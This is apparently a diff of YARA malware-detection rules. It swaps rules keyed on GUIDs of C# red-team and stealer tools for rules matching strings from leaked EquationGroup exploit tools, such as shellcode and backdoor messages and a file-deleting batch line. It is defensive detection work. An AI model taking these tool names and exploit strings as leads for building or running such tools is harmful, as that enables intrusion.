-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharploginprompt : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Easypi_Explodingcan : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e9a493d9-21b6-5ff1-9e5e-e8fbacc34c0c"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/shantanu561993/SharpLoginPrompt"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L186-L200"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a34873666a7a4a8aff77281fe638b1fd244f5295702cf815846ff64bcc21e360"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "53d4ebf1-cce3-5fc8-8304-064b4113c9d7"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1731-L1747"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c5978d8cbffde2339cadd84f44d1df24e76f298a2f05bd9a6565246bfae1b1e3"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "dc1ddad7e8801b5e37748ec40531a105ba359654ffe8bdb069bd29fb0b5afd94"
+		hash2 = "97af543cf1fb59d21ba5ec6cb2f88c8c79c835f19c8f659057d2f58c321a0ad4"
 
 	strings:
-		$typelibguid0lo = "c12e69cd-78a0-4960-af7e-88cbd794af97" ascii wide
-		$typelibguid0up = "C12E69CD-78A0-4960-AF7E-88CBD794AF97" ascii wide
+		$x1 = "[-] %s - Target might not be in a usable state." fullword ascii
+		$x2 = "[*] Exploiting Target" fullword ascii
+		$x3 = "[-] Encoding Exploit Payload failed!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Adamantium_Thief : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Eclipsedwingtouch_1_0_4 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "82225b2e-ab4a-50b8-a3fd-7ad4947d052e"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/LimerBoy/Adamantium-Thief"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L202-L216"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "089fdba95fb53d412eca2e1188bf9b8211045793122a73ed6c0ea5ee5c386c47"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "87e46fcd-d3e5-506a-97f3-8a18a7ba8042"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1749-L1763"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4707dbbb302b9b2192bdd23e4b64e25b5b2f49c3dd7951905a07cb5b54d524d9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "46da99d80fc3eae5d1d5ab2da02ed7e61416e1eafeb23f37b180c46e9eff8a1c"
 
 	strings:
-		$typelibguid0lo = "e6104bc9-fea9-4ee9-b919-28156c1f2ede" ascii wide
-		$typelibguid0up = "E6104BC9-FEA9-4EE9-B919-28156C1F2EDE" ascii wide
+		$x1 = "[-] The target is NOT vulnerable" fullword ascii
+		$x2 = "[+] The target IS VULNERABLE" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <50KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Psbypassclm : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Iistouch_1_2_2 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "dad6729f-3d96-5d2d-b72c-a96d1a3eae74"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/padovah4ck/PSByPassCLM"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L218-L232"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "45538484f473f2940344fb89181e309b9925619ea6cf7e66a106cea9e9c6f281"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dd6ea8cc-505d-5c7c-a7ea-c5fa4f14b5ee"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1765-L1779"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f4f5e17d3777d6ae8bfd0646eeffcd631331e4d8966f5124ebc9352438dc790f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c433507d393a8aa270576790acb3e995e22f4ded886eb9377116012e247a07c6"
 
 	strings:
-		$typelibguid0lo = "46034038-0113-4d75-81fd-eb3b483f2662" ascii wide
-		$typelibguid0up = "46034038-0113-4D75-81FD-EB3B483F2662" ascii wide
+		$x1 = "[-] Are you being redirectect? Need to retarget?" fullword ascii
+		$x2 = "[+] IIS Target OS: %s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <60KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Physmem2Profit : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Namedpipetouch_2_0_0 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "75a27970-c469-53da-b0c3-b3d0faea0b6f"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/FSecureLABS/physmem2profit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L234-L248"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "60385891640e18699e17d1282b4af03ecd0ea3ceaf153bf54560242097595b2f"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0a5519d7-9811-5159-8df2-0cb2995d5085"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1781-L1800"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "63d4395db4672b7a146dbd285e42344fb895b38f67fa9f7885b73855d7211190"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "cb5849fcbc473c7df886828d225293ffbd8ee58e221d03b840fd212baeda6e89"
+		hash2 = "043d1c9aae6be65f06ab6f0b923e173a96b536cf84e57bfd7eeb9034cd1df8ea"
 
 	strings:
-		$typelibguid0lo = "814708c9-2320-42d2-a45f-31e42da06a94" ascii wide
-		$typelibguid0up = "814708C9-2320-42D2-A45F-31E42DA06A94" ascii wide
+		$s1 = "[*] Summary: %d pipes found" fullword ascii
+		$s3 = "[+] Testing %d pipes" fullword ascii
+		$s6 = "[-] Error on SMB startup, aborting" fullword ascii
+		$s12 = "92a761c29b946aa458876ff78375e0e28bc8acb0" fullword ascii
+		$op1 = { 68 10 10 40 00 56 e8 e1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <40KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Noamci : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Easybee_1_0_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5fab1551-9d35-53cf-a04f-c14370119553"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/med0x2e/NoAmci"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L250-L264"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4e4b7f6424ce77959bcc017e5f6d36059dda05df7ac09bc7055102c4ff2c10c0"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f170ed34-f7d1-5eb2-9400-4308b6b39388"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1802-L1816"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e3488a1d686b9ad468553cfe2c939e70ea6b9a21409df8b06bb54418495576ec"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "59c17d6cb564edd32c770cd56b5026e4797cf9169ff549735021053268b31611"
 
 	strings:
-		$typelibguid0lo = "352e80ec-72a5-4aa6-aabe-4f9a20393e8e" ascii wide
-		$typelibguid0up = "352E80EC-72A5-4AA6-AABE-4F9A20393E8E" ascii wide
+		$x1 = "@@for /f \"delims=\" %%i in ('findstr /smc:\"%s\" *.msg') do if not \"%%MsgFile1%%\"==\"%%i\" del /f \"%%i\"" fullword ascii
+		$x2 = "Logging out of WebAdmin (as target account)" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpblock : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Regread_1_1_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b84538da-1b0e-50c7-abfa-e93d6de5a49b"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/CCob/SharpBlock"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L266-L280"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4e2583de504884f421425f86fc4364e5bdde55946c19eebbcc64933e03357622"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "99a2b146-a277-5917-9a84-3d396d2c8bf9"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1818-L1832"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5bf833d7fb073ad74037cf6df4729c75d50641a46a962aee8deac19e31b74419"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
 
 	strings:
-		$typelibguid0lo = "3cf25e04-27e4-4d19-945e-dadc37c81152" ascii wide
-		$typelibguid0up = "3CF25E04-27E4-4D19-945E-DADC37C81152" ascii wide
+		$s1 = "[+] Connected to the Registry Service" fullword ascii
+		$s2 = "f08d49ac41d1023d9d462d58af51414daff95a6a" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <80KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Nopowershell : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Englishmansdentist_1_2_0 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0fd7496b-e34f-51f7-9270-ad424ed6a7a8"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/bitsadmin/nopowershell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L282-L296"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "29ce3eaf0eca016fd72b54c8773226102cabcfd65d172e42fffe1c29e79d16ec"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "76367c53-9b48-59a1-9ac9-8649fd833fe3"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1834-L1848"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cd415731c1c8398d2b0b1758c4e7eb3e708620b269f9312cf0a750ab2099162e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2a6ab28885ad7d5d64ac4c4fb8c619eca3b7fb3be883fc67c90f3ea9251f34c6"
 
 	strings:
-		$typelibguid0lo = "555ad0ac-1fdb-4016-8257-170a74cb2f55" ascii wide
-		$typelibguid0up = "555AD0AC-1FDB-4016-8257-170A74CB2F55" ascii wide
+		$x1 = "[+] CheckCredentials(): Checking to see if valid username/password" fullword ascii
+		$x2 = "Error connecting to target, TbMakeSocket() %s:%d." fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Limelogger : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Architouch_Eternalsynergy_Smbtouch : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0798f01b-76b7-5c4d-9ddb-5e377b86f8b9"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/LimeLogger"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L298-L312"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1afc5f5f236d66374f5c53f770e8284867632b0373de00283175ed1d424bfa4b"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "df3b0794-cbbd-530c-8425-fdf4b116b870"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1850-L1870"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "faeac75104a15cac8528663a82eadbc7bc22cc0a1d1a3b3dfccb6ea46fb24a67"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "444979a2387530c8fbbc5ddb075b15d6a4717c3435859955f37ebc0f40a4addc"
+		hash2 = "92c6a9e648bfd98bbceea3813ce96c6861487826d6b2c3d462debae73ed25b34"
+		hash3 = "108243f61c53f00f8f1adcf67c387a8833f1a2149f063dd9ef29205c90a3c30a"
 
 	strings:
-		$typelibguid0lo = "068d14ef-f0a1-4f9d-8e27-58b4317830c6" ascii wide
-		$typelibguid0up = "068D14EF-F0A1-4F9D-8E27-58B4317830C6" ascii wide
+		$s1 = "NtErrorMoreProcessingRequired" fullword ascii
+		$s2 = "Command Format Error: Error=%x" fullword ascii
+		$s3 = "NtErrorPasswordRestriction" fullword ascii
+		$op0 = { 8a 85 58 ff ff ff 88 43 4d }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <600KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Aggressorscripts : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Eternalromance_2 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d5903db5-010b-5b9d-8a5b-5d61aec52e7a"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/harleyQu1nn/AggressorScripts"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L314-L328"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "33982f1f91aa61c54f7c60236389ed78e0a23be5fc04abce6c6574e067522a23"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "40066023-ede9-5669-8b4d-a26a693d8818"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1872-L1889"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "481a08bc73ac66245c0712599a61cccdf5127276a09a67cf894f76b7763c5c9b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d"
+		hash2 = "b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b"
+		hash3 = "92c6a9e648bfd98bbceea3813ce96c6861487826d6b2c3d462debae73ed25b34"
 
 	strings:
-		$typelibguid0lo = "afd1ff09-2632-4087-a30c-43591f32e4e8" ascii wide
-		$typelibguid0up = "AFD1FF09-2632-4087-A30C-43591F32E4E8" ascii wide
+		$x1 = "[+] Backdoor shellcode written" fullword ascii
+		$x2 = "[*] Attempting exploit method %d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <600KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Gopher : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Emphasismine : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e3015719-9085-584d-8237-f377ec995149"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/EncodeGroup/Gopher"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L330-L344"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f17688d229c74f0f956a45d9eacfa2bb190c973c097bc870db96edc5c331f436"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cc684f39-4971-52e0-b5ec-d28c7ce7032b"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1891-L1910"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "20ec32f5e9e439fb212985d5ae104ae5742231f594423cd125a9e64ed6eb234a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "dcaf91bd4af7cc7d1fb24b5292be4e99c7adf4147892f6b3b909d1d84dd4e45b"
+		hash2 = "348eb0a6592fcf9da816f4f7fc134bcae1b61c880d7574f4e19398c4ea467f26"
 
 	strings:
-		$typelibguid0lo = "b5152683-2514-49ce-9aca-1bc43df1e234" ascii wide
-		$typelibguid0up = "B5152683-2514-49CE-9ACA-1BC43DF1E234" ascii wide
+		$x1 = "Error: Could not calloc() for shellcode buffer" fullword ascii
+		$x2 = "shellcodeSize: 0x%04X + 0x%04X + 0x%04X = 0x%04X" fullword ascii
+		$x3 = "Generating shellcode" fullword ascii
+		$x4 = "([0-9a-zA-Z]+) OK LOGOUT completed" fullword ascii
+		$x5 = "Error: Domino is not the expected version. (%s, %s)" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Aviator : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Eternalromance : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "52acd520-52aa-5bb9-ab3b-66a940aa5f5a"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/Ch0pin/AVIator"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L346-L360"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4b25128df5cdc26152494f39656546974b3b04c5e4ec7d3084e27d0f6baf4ca0"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "40066023-ede9-5669-8b4d-a26a693d8818"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1912-L1930"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "757740038b9b1e1d099bb208104e9f48e7eb57ffb2de09e83c66df7914b816cb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d"
+		hash2 = "b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b"
 
 	strings:
-		$typelibguid0lo = "4885a4a3-4dfa-486c-b378-ae94a221661a" ascii wide
-		$typelibguid0up = "4885A4A3-4DFA-486C-B378-AE94A221661A" ascii wide
+		$x1 = "[-] Error: Exploit choice not supported for target OS!!" fullword ascii
+		$x2 = "Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed" fullword ascii
+		$x3 = "[-] Error: Backdoor not present on target" fullword ascii
+		$x4 = "***********    TARGET ARCHITECTURE IS X64    ************" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of them ) or 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Njcrypter : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Gen4 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c30c8323-9418-521a-a4fc-6be0113b99b5"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/0xPh0enix/njCrypter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L362-L378"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3fafad2f64c931394f9deddc1751da8286d7ba7727c3505fbc20cf8c4226971a"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f935c942-02a4-59b3-89ce-e5e3fa1cacda"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1932-L1963"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "68a85b4109a2222dce0625aae8a55541206b9275236232e5049e5b4ee28d8e52"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "fe7ce2fdb245c62e4183c728bc97e966a98fdc8ffd795ed09da23f96e85dcdcd"
+		hash2 = "0989bfe351342a7a1150b676b5fd5cbdbc201b66abcb23137b1c4de77a8f61a6"
+		hash3 = "270850303e662be53d90fa60a9e5f4bd2bfb95f92a046c77278257631d9addf4"
+		hash4 = "7a086c0acb6df1fa304c20733f96e898d21ca787661270f919329fadfb930a6e"
+		hash5 = "c236e0d9c5764f223bd3d99f55bd36528dfc0415e14f5fde1e5cdcada14f4ec0"
